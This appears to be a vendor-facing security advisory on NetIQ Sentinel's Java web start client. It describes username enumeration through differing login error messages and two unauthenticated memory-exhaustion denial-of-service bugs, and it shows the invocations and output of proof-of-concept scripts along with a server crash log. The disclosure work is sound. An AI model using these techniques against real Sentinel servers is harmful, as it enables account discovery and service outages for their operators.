NetIQ Sentinel is a “full-featured Security Information and Event Management solution”. One of the features the SIEM offers is a Java web start client. The client is downloaded via port 8443 and the client connects to port 10013, both of which are accessible even when Sentinel’s firewall is enabled.
Web Start Client: Account Enumeration
The web start client appears to use a custom protocol to connect to the Sentinel server. The protocol is a mix of binary type/length and XML payloads. Additionally, the protocol features multiple “channels”. For example, to log into Sentinel via the web start client requires two separate SSL connections. The authentication request gets sent on the first channel and the response comes back on the second channel.
One thing we noticed when looking at the web client is that the server responds differently to an authentication request for an account that exists versus an account that doesn’t. For example, if an attacker tries to authenticate as the non-existent “lolwat” user, then Sentinel replies with “No account named ‘lolwat’ exists.” Whereas if an attacker tries to authenticate with the default “admin” account, Sentinel will respond to a bad password with “DBLogin: Authentication Failed: FATAL: password authentication failed for user ‘admin’”. This is obviously a concern as seen in the first example of CWE-203: Information Exposure Through Discrepancy. Tenable has created a PoC to demonstrate this issue. In the output below we use “is_valid_account.py” three times for the accounts “admin” (valid), “lolwat” (not valid), and “albinolobster” (valid):
MUSTELIDAE:~ badger$ python is_valid_account.py 192.168.1.193 10013 admin
[+] Connection to 192.168.1.193:10013 as admin
[+] Session 1 Key: 3BAA5635-B5AE-1034-8881-000C29589EDB0.5444510121060873
[+] Session 2 Key: 3BAA5635-B5AE-1034-8885-000C29589EDB0.010143595576902364
[+] Reply Channel: proxy.reply.3BAA5635-B5AE-1034-8886-000C29589EDB
[+] Sending login request on channel 1
[+] Received login response on channel 2
[!] admin is a valid username!
MUSTELIDAE:~ badger$ python is_valid_account.py 192.168.1.193 10013 lolwat
[+] Connection to 192.168.1.193:10013 as lolwat
[+] Session 1 Key: 3BAA5635-B5AE-1034-8898-000C29589EDB0.7552757420650569
[+] Session 2 Key: 3BAA5635-B5AE-1034-889C-000C29589EDB0.2653795890095556
[+] Reply Channel: proxy.reply.3BAA5635-B5AE-1034-889D-000C29589EDB
[+] Sending login request on channel 1
[+] Received login response on channel 2
[~] lolwat is not a valid username
MUSTELIDAE:~ badger$ python is_valid_account.py 192.168.1.193 10013 albinolobster
[+] Connection to 192.168.1.193:10013 as albinolobster
[+] Session 1 Key: 3BAA5635-B5AE-1034-88A3-000C29589EDB0.7966160316648959
[+] Session 2 Key: 3BAA5635-B5AE-1034-88A4-000C29589EDB0.01711136605560981
[+] Reply Channel: proxy.reply.3BAA5635-B5AE-1034-88A5-000C29589EDB
[+] Sending login request on channel 1
[+] Received login response on channel 2
[!] albinolobster is a valid username!
Bringing Down the House
In implementing the above PoC, we quickly learned that Sentinel is vulnerable to a handful of denial of service attacks. Specifically, it is fairly easy for an unauthenticated remote attacker to cause the server to exceed the Java VM memory limit which triggers an OutofMemory exception. This causes the JVM to be shutdown and restarted which disables both the web UI (port 8443) and the web start server. In the server wrapper log, the exception, shutdown, and restart look like this:
2017/01/09 10:04:15 | DEBUG | wrapper | Got ping response from JVM
2017/01/09 10:04:17 | INFO | jvm 2 | java.lang.OutOfMemoryError: Requested array size exceeds VM limit
2017/01/09 10:04:17 | INFO | jvm 2 | Dumping heap to /var/opt/novell/sentinel/log/Server.hprof ...
2017/01/09 10:04:19 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:23 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:27 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:31 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:35 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:40 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:44 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:47 | INFO | jvm 2 | Heap dump file created [1693956755 bytes in 30.545 secs]
2017/01/09 10:04:47 | INFO | jvm 2 | #
2017/01/09 10:04:47 | INFO | jvm 2 | # java.lang.OutOfMemoryError: Requested array size exceeds VM limit
2017/01/09 10:04:47 | INFO | jvm 2 | # -XX:OnOutOfMemoryError="kill -9 %p"
2017/01/09 10:04:47 | INFO | jvm 2 | # Executing /bin/sh -c "kill -9 9204"...
2017/01/09 10:04:48 | DEBUG | wrapperp | send a packet PING : ping
2017/01/09 10:04:49 | ERROR | wrapper | JVM exited unexpectedly.
2017/01/09 10:04:49 | DEBUG | wrapper | Signal trapped. Details:
2017/01/09 10:04:49 | DEBUG | wrapper | signal number=17 (SIGCHLD), source="unknown"
2017/01/09 10:04:49 | DEBUG | wrapper | Received SIGCHLD, checking JVM process status.
2017/01/09 10:04:49 | STATUS | wrapper | JVM exited in response to signal SIGKILL (9).
2017/01/09 10:04:49 | DEBUG | wrapper | JVM process exited with a code of 1, setting the wrapper exit code to 1.
2017/01/09 10:04:49 | DEBUG | wrapperp | server listening on port 32000.
2017/01/09 10:04:49 | DEBUG | wrapper | Waiting 5 seconds before launching another JVM.
We’ve provided two PoCs for crashing the Sentinel server via memory exhaustion. One uses packet type 9 to trigger the exhaustion and the other users packet type 3. The PoCs are named “type9_dos.py” and “type3_dos.py”. The output looks like this:
MUSTELIDAE:~ badger$ python type9_dos.py 192.168.1.193 10013
[+] Connecting to 192.168.1.193:10013 as
[+] Session Key: EE7E7490-B8AA-1034-B9C2-000C29589EDB0.6902790167101766
Traceback (most recent call last):
File "type9_dos.py", line 43, in
print sslSocket.read(1024);
ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:1752)
MUSTELIDAE:~ badger$ python type3_dos.py 192.168.1.193 10013
[+] Connecting to 192.168.1.193:10013
[+] Session Key: 6E95F080-B8AC-1034-BDC4-000C29589EDB0.031184096498767744
Traceback (most recent call last):
File "type3_dos.py", line 43, in
print sslSocket.read(1024);
ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:1752)
